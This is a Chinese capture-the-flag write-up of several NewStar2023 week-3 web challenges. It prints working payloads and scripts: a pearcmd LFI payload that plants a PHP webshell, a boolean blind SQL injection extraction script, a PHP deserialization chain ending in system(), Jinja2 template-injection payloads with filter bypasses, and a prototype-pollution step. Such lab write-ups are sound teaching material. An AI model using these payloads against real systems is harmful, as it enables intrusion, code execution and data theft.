NewStar2023 web-week3-wp
Include 🍐
题目说LFI(本地文件包含) to RCE(远程代码执行),去搜了搜就有思路了。
看看这些博客写的原理,讲的都挺好的:
Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
PHP-从LFI到RCE(上)_lfi to rce-CSDN博客
LFI TO RCE之pearcmd.php的妙用_Aiwin-Hacker的博客-CSDN博客
payload:
<url>?file=/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
前面试了试但是出不来,好像是url直接传对<>这个编码有点问题,所以直接bp上做了。
然后RCE:
medium_sql
手注union被完全ban掉了,估计是preg_match的正则表达式,大小写也绕不过,其他方式也没有什么回显。
想用用自动化工具吧,结果尬住了,开始sqlmap没梭出来....
能梭出来库名是ctf,但是表名好像有些问题。
那就试试手工注入,尝试了个布尔注入的经典payload:
?id=TMP0919' And if(1>0,1,0)--+ ?id=TMP0919' And if(0>1,1,0)--+
前者有正常回显,后者无回显,说明存在布尔盲注漏洞。
接下来就是写脚本开梭,贴一个官方wp的布尔盲注脚本:(一定要注意缩进)
import requests import time def condition(res): if 'Physics' in res.text: return True return False result = '' _url = 'http://0fa5c922-4fa4-4f3d-bdd9-63c0e81d8ffa.node4.buuoj.cn:81/' for _time in range(1, 1000): print("time: %d" % (_time)) left = 32 right = 128 while (right > left): mid = (left + right) // 2 # 获取当前库表名 # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23" # 获取字段名 # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23" # 获取字段值 url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag) fRom (here_is_flag)) fRom {_time} FOr 1)))) In ({mid})),1,0)%23" # 防止请求速率过快 time.sleep(0.2) res = requests.get(url=url) if (condition(res)): result += chr(mid) print(result) break else: # 获取当前库表名 # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23" # 获取字段名 # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23" # 获取字段值 url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag) fRom (here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23" res = requests.get(url=url) if (condition(res)): left = mid else: right = mid
POP Gadget
一道简单的pop链构造题目:
打开就是反序列化源码:
<?php highlight_file(__FILE__); class Begin{ public $name; public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } } class Then{ private $func; public function __toString() { ($this->func)(); return "Good Job!"; } } class Handle{ protected $obj; public function __call($func, $vars) { $this->obj->end(); } } class Super{ protected $obj; public function __invoke() { $this->obj->getStr(); } public function end() { die("==GAME OVER=="); } } class CTF{ public $handle; public function end() { unset($this->handle->log); } } class WhiteGod{ public $func; public $var; public function __unset($var) { ($this->func)($this->var); } } @unserialize($_POST['pop']);
反序列化题目,有两种入手点,一是从入口推到出口,但是实施起来有点困难,因为不一定可以一步到位;
我个人比较喜欢倒退,也就是从出口推到入口,这样思路很清晰。
首先看看这几个函数里面执行的东西,哪里可以作为出口:
显然
如果我们定义func为system,var为ls或者其他命令,就可以RCE。
(这里我最开始想的是func定义为eval,var定义为system('ls'),但是好像不行,后面试的时候直接system('ls')出回显了就直接这样做了)
所以WhiteGod是出口,这里我只解贴我的分析部分:
<?php highlight_file(__FILE__); class Begin{ public $name; public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } } class Then{ private $func; public function __toString() //尝试将func类当作函数使用,触发__invoke() { ($this->func)(); return "Good Job!"; } } class Handle{ protected $obj; public function __call($func, $vars) { $this->obj->end(); } } class Super{ protected $obj; public function __invoke() //尝试将对象当成函数时触发 { $this->obj->getStr(); //没有这个方法,触发__call } public function end() { die("==GAME OVER=="); } } class CTF{ public $handle; public function end() { unset($this->handle->log);//在不可访问的属性上访问unset,触发__unset } } class WhiteGod{ public $func; public $var; public function __unset($var) { ($this->func)($this->var); //让func="system",传参var="ls";,出口 } } @unserialize($_POST['pop']);
直接构造:
<?php class Begin{ public $name; } class Then{ public $func; } class Handle{ public $obj; } class Super{ public $obj; } class CTF{ public $handle; } class WhiteGod{ public $func; public $var; } //@unserialize($_POST['pop']); $b = new Begin(); $t = new Then(); $s = new Super(); $h = new Handle(); $c = new CTF(); $w = new WhiteGod(); $b->name = $t; $t->func = $s; $s->obj = $h; $h->obj = $c; $c->handle = $w; $w->func = "system"; $w->var = "ls"; // "ls /" //"cat /flag" echo urlencode(serialize($b));
然后POST传pop就行了,这里还要注意我url编码把空格整成+加号了,这个有点问题,需要人为改成空格的url编码,也就是%20,上一周我也遇到这个问题了。
O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
GenShin
这个题目,难道是那个游戏????!!!
结果进去后发现不是....
是一个SSTI注入,还没到原型链污染那个修改属性的难度,只需要一步步挂到os然后RCE就可以了。
推几个文章,也是对我启发很大:
[Writeup]2022 NewstarCTF_Week3(Web部分) - notbad3 - 博客园 (cnblogs.com)
CTFshow SSTI - _Nov1ce - 博客园 (cnblogs.com)
【精选】ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd's blog的博客-CSDN博客
还有魔术方法的使用1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com):
__dict__ :保存类实例或对象实例的属性变量键值对字典 __class__ :返回一个实例所属的类 __mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__ :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组 // __base__和__mro__都是用来寻找基类的 __subclasses__ :以列表返回类的子类 __init__ :类的初始化方法 __globals__ :对包含函数全局变量的字典的引用__builtin__&&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)
首先进去:
信息泄露?
我不信,先看一眼http的response:
有个奇怪的目录,我们访问:
随便输了几个东西,发现有回显,那么这里应该就是RCE的点了:
首先尝试{{7*7}}这个经典payload:
既然有过滤,那么思路就对了,就是SSTI。
过滤了{{}},方法就是用{%print()%},然后里面照常输,而且随便输了输发现单引号也被过滤了,那么我们就使用双引号:
{%print([].__class__.__base__.__subclasses__())%} #或者 {%print("".__class__.__base__.__subclasses__())%}
回显7个7,说明是jinja2模板。
首先肯定是__class__找父类,然后__base__继续梭,然后__subclasses__拿到所有类,这里关键词都没过滤,还挺顺利的:
接下来就是从这些类里面挖出能用os的类,然后在这个类的基础上进行RCE:
借用一个脚本开梭:
import requests import re import time for i in range(0,666): time.sleep(0.04) url = "http://00e853bf-8b84-44e9-8f34-b05578961d58.node4.buuoj.cn:81/secr3tofpop" payload = '{% print([].__class__.__base__.__subclasses__()[' + str(i) + ']) %}' #注意引号 get_data = {"name": payload} s = requests.get(url=url,params=get_data) #POST多用data,GET的话就用params time.sleep(0.06) #print(s.text)#这个没有更好,加这个可以看看每个包都回应了啥 if 'os' in s.text: print(i) print(s.text) else: continue
回显了好几个,但不是每个都有用,因为我只是找os这个字符串,这里我试了前三个都寄了,准备另找思路换一个的时候,第309个类成功了:
(补充,这里其实也可以找WarningMessage这个类,里面包含了os,改一下payload就行了)
但后面准备用init的时候,发现也被过滤了,但是可以用["__in"+"it__"]拼接绕过,而且popen也被过滤了,突然卡住了,搜了搜payload发现这个方法能读所有文件:
{%print([].__class__.__base__.__subclasses__()[309]["__in"+"it__"].__globals__["os"].listdir("."))%}
有时候会不稳定报错,多send几次就有了:
再利用一个__builtins__来读文件的payload:
{%print([].__class__.__base__.__subclasses__()[309]["__in"+"it__"].__globals__["__builtins__"].open("flag","r").read())%}
补:看了看别人师傅的,用了chr()就能输出popen函数了,也可以学习学习:
[wp]NewStarCTF 2023 WEEK3|WEB-CSDN博客
我们可用使用eval 就是eval(__import__('os').popen('ls /').read())
所以发现flag之后也是一样的改为__import__('os').popen('cat /flag').read() 进行chr编码就行:
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}
R!!!C!!!E!!!
打开一看:
逻辑挺简单,一个简单的反序列化,但是这个preg_match的正则表达式看起来没过滤关键函数,但是这些命令,是很典型的反弹shell命令。
想想就知道了,这是一道ban掉了反弹shell等操作的无回显RCE。
随便输个payload上去,果然如此,只出了个alright:
反弹shell不行,tee不行,curl不行DNS带出来也不行,挂木马不行,> 和 & ban了,好像重定向写文件也不行了。
绷不住了,看了半天怎么感觉全ban完了,哪里还有漏网之鱼????
后来想起来了命令注入的过滤思路,就是在命令中加俩特殊字符如两个单引号 ' ' 或者两个反引号` `之类的应该就能实现绕过,这里推荐用tee命令,它可以把执行的命令写入文件里,然后我们访问这个文件就能看到回显内容了。
直接传(记得+改空格%20),然后访问文件a:
同样的方法:
OtenkiGirl
看到题目介绍的pollute就猜到是原型链污染。但当时没做出来,看了官方wp才复现出来......
下载源码也看出来就是JavaScript的原型链污染问题。
可以参考:JavaScript 原型链污染 (yuque.com)
这是填写页面,审计一下源码看看哪里可以RCE:
随便写了几个参数,发现是JSON数据格式提交的,那么这里显然可以改包用__proto__污染属性。
而且网页上显示联系方式和理由必填,对应上来就是contact和reason必须写。
response:
看看routes里的路由源码,在info先看到传参部分:
那这里可以在/info路由里post传ts的参数,我可以传ts=0,改变0
的值就是获取到指定时间戳之后的信息。
因为没有进行任何操作,所以现在什么都没有。
再去getinfo()看看:
这里有一个值得注意的点:
// Remove test data from before the movie was released let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime(); timestamp = Math.max(timestamp, minTimestamp);
这是什么意思呢,结合注释能看出来,
首先声明了一个变量minTimestamp
,将其初始化为CONFIG.min_public_time
或DEFAULT_CONFIG.min_public_time
的日期对象的时间戳。这里的CONFIG.min_public_time
和DEFAULT_CONFIG.min_public_time
表示了movie的最小公开时间。
接下来,代码使用Math.max
函数将timestamp
与minTimestamp
比较,并返回较大的值。timestamp
是另一个变量,表示某个数据的时间戳。通过执行这个比较操作,可以确保timestamp
的值不早于minTimestamp
,也就是不早于movie的最小公开时间。
感觉这个min_public_time在config文件里有说明,我们去找找:
嗯???!!!
结果config里面没有min_public_time设置,那么就只能执行这个config.default里的min_public_time了。
试想,如果我们利用原型链污染能把这个min_public_time属性给污染成为我们想要的日期,是不是就能绕过最早时间限制,获取任意时间的数据???
再继续翻翻源码,结果在submit源码里找到原型链污染的常客了,merge()函数:
下面的成功部分就是注入点:
所以我们可以在前面抓包那里加一个,注入data['__proto__']['min_public_time']
的值即可,这个值取一个很早很早的时间戳,就能获取到前段时间的数据。
游戏结束。
submit污染放包:
我们直接hackbar上在info路由上传ts=0,获取全部信息,最终发现其中一个含flag的信息:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)